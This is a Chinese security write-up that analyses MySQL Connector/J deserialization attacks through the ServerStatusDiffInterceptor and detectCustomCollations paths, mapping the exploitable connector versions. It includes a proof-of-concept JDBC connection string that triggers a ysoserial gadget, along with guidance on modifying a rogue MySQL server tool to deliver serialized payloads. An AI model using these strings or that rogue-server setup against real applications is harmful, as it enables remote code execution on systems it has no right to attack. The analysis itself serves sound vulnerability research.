百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

从JDBC attack到detectCustomCollations利用范围扩展

toyiye 2024-05-25 20:11 33 浏览 0 评论

漏洞分析

原理

POC

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";

关键属性

queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class

到底应该使用哪一个属性,我们可以在对应版本的com.mysql.jdbc.ConnectionPropertiesImpl类中搜索,如果存在,就是存在的那个属性

autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。

getObject方法的寻找

我们可以关注到mysql-connnector-java-xxx.jar包中存在有ResultSetImpl.getObject()方法

当然,同样的,在不同的版本下的位置不同,我这里使用的5.1.48版本,他的位置在com.mysql.jdbc.ResultSetImpl类中

首先他会判断类型,如果是BIT类型,就会调用getObjectDeserializingIfNeeded方法,跟进

之后他首先会判断field是否是Binary或者Blob

BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型

之后取出对应的字节数,并且判断是否开启了autoDeserialize, 如果开启了,将会进入if语句继续判断前两个字节是否为-84 -19这是序列化字符串的标志,hex分别为AC ED, 如果满足条件,就会调用对应的readObject方法进行反序列化

所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用

ServerStatusDiffInterceptor拦截器的妙用

我们可以关注到com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor这个类,在其中的populateMapWithSessionStatusValues方法中,会调用Util.resultSetToMap(toPopulate, rs);方法,进而调用了java.sql.ResultSet.getObject方法,形成利用链

//populateMapWithSessionStatusValues
private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
    java.sql.Statement stmt = null;
    java.sql.ResultSet rs = null;

    try {
        toPopulate.clear();

        stmt = connection.createStatement();
        rs = stmt.executeQuery("SHOW SESSION STATUS");
        Util.resultSetToMap(toPopulate, rs); //调用getObject方法
    } finally {
        if (rs != null) {
            rs.close();
        }

        if (stmt != null) {
            stmt.close();
        }
    }
}
//Util.resultSetToMap
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
    while (rs.next()) {
        mappedValues.put(rs.getObject(1), rs.getObject(2));
    }
}

同样通过idea的find Usages方法找到在postProcess方法中调用了populateMapWithSessionStatusValues

public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
        throws SQLException {

    if (connection.versionMeetsMinimum(5, 0, 2)) {
        //调用
        populateMapWithSessionStatusValues(connection, this.postExecuteValues);

        connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
    }

    return null; // we don't actually modify a result set

}

同样在preProcess方法中也调用了

在调用链中也可以得到

populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
execSQL:2465, ConnectionImpl (com.mysql.jdbc)
execSQL:2439, ConnectionImpl (com.mysql.jdbc)
executeQuery:1365, StatementImpl (com.mysql.jdbc)
loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
<init>:768, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:385, ConnectionImpl (com.mysql.jdbc)
connect:323, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:15, Test (pers.xstream)

com.mysql.jdbc.ConnectImpl#loadServerVariables方法存在需要执行一段SHOW VARIABLES的sql语句

results = stmt.executeQuery(versionComment + "SHOW VARIABLES");

因为在这个版本中的mysql-connector使用的是statementInterceptors作为在执行SQL语句的拦截器类,所以在com.mysql.jdbc.MysqlIO#sqlQueryDirect方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行

进而调用了对应InterceptorpreProcess方法,如果我们在JDBC连接串中使用的是ServerStatusDiffInterceptor作为拦截器,那么就会调用他的preProcess方法,进而形成了利用链

注意:在populateMapWithSessionStatusValues方法中存在一个执行SHOW SESSION STATUS获取结果的逻辑

rs = stmt.executeQuery("SHOW SESSION STATUS");

我们在恶意Mysql服务端进行处理的时候就可以通过进行SHOW SESSION STATUS或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了UtilresultSetToMap进行getObject的调用

ResultSetImpl#getObject方法中对mysql服务端返回的数据进行判断,这里是Types.LONGVARBINARY类型(长二进制数据), 再然后就是前面提到了getObject方法寻找的部分了

detectCustomCollations的妙用

在这里我们将环境中的mysql-connector-java包改为5.1.29版本

来自chybeta佬的研究,我们可以关注到ConnectionImpl#buildCollationMapping中存在有Util.resultSetToMap的调用,能够形成前面所描述的利用链

首先看一下调用栈

buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
<init>:834, ConnectionImpl (com.mysql.jdbc)
<init>:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:347, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:16, Test (pers.xstream)

从上面的截图我们可以看到有几个判断条件

  1. 需要满足服务端版本要大于4.1.0 , 而且detectCustomCollations需要为true
  2. if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
  3. 需要满足大于5.0.0,在5.1.28不存在这个条件

同样这里获取了执行SHOW COLLATION命令的结果集,同样可以作为标志返回恶意payload

只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了

进行探索

过程

在大佬的研究中,提到了,detectCustomCollations触发方式在5.1.40版本之后不能够利用,因为没有使用getObject的方式获取SHOW COLLATION的结果

但是在我的跟踪中,发现了,其实还是可以利用的,虽然这个发现没有什么大用,在高版本不能使用ServerStatusDiffInterceptor的时候用用??

在idea中添加对应版本的包

<dependency>
  <groupId>mysql</groupId>
  <artifactId>mysql-connector-java</artifactId>
  <version>5.1.41</version>
</dependency>

在版本对比中,的确在新版本中删掉了Util.resultSetToMap的调用

但是却在后面直接调用了SHOW COLLATION返回的结果,调用getObject方法,这里或许就可以达到我们的利用目的

为什么不能够成功执行

在发现了这个触发位置之后,我使用工具进行漏洞利用的时候,发现并不能够成功执行payload, 为什么呢?

我们可以关注到在调用getObject的时候

这里是取的第3列的数据,而在大佬的工具中有所描述

SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列

同时在debug的过程中发现取出的并不是序列化数据,所以我们需要修改工具,使得返回的结果集中第3列是恶意的序列化数据,之后对利用工具进行了深入了解,和构造分析,可以知道在server.py中的handle_server方法中需要我们对其更改

在图片所指的位置,就是我们返回集的第1,2,3的数据,可以直接改成content接收序列化数据,相对的,如果使用的是config.json配置文件执行命令的方式,就需要将上面某个的233改为yso_dict[username]

之后我们就可以成功利用了

只有直到在5.1.49版本中做出了更改,导致不能使用

6.x版本能够利用吗

当然可以,在6.x版本中,他就类似于5.1.41之前的调用Util.resultSetToMap, 在这里它使用的是ResultSetUtil.resultSetToMap,跟进一下看下逻辑

是不是和之前的差不多,利用:

版本区分

ServerStatusDiffInterceptor

  • 5.1.11-6.0.6使用的是statementInterceptors属性,而8.0以上使用queryInterceptors, 具体属性可以在ConnectionPropertiesImpl类中搜索
  • 5.1.11以下,不能通过这种方式利用,因为在5.1.10Interceptors的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到interceptor而不能够触发成功
    https://github.com/mysql/mysql-connector-j/compare/5.1.10...5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785

  • 5.0.x没有这个拦截器

detectCustomCollations

  • 8.0.x不存在getObject方法的调用
  • 6.x能够利用,因为他在com.mysql.cj.jdbc.ConnectionImpl中调用了ResultSetUtil.resultSetToMap和上面的功能类似,且没有版本判断

  • 5.1.29开始启用detectCustomCollations属性,但是直到5.1.49做出了更改导致不能使用
    https://github.com/mysql/mysql-connector-j/compare/5.1.48...5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914

在这里值得注意的是,在5.1.41做出了更改,不再调用Util.resultSetToMap方法,进而调用getObject方法,改为了直接调用getObject方法
https://github.com/mysql/mysql-connector-j/compare/5.1.40...5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936

  • 5.1.19 - 5.1.28过程中,不存在detectCustomCollations属性的判断,但是仍然可以调用
    https://github.com/mysql/mysql-connector-j/compare/5.1.28...5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005
  • 5.1.18以下没有使用getObject方法的调用

可用连接串

直接对fnmsd的研究稍作修改

将其中5.1.41不可用改成5.1.29以上只有5.1.49不可用,且6.x系列都可以使用

Reference

https://github.com/fnmsd/MySQL_Fake_Server
https://www.anquanke.com/post/id/203086#h2-1
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关 本文原创作者:RoboTerh

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码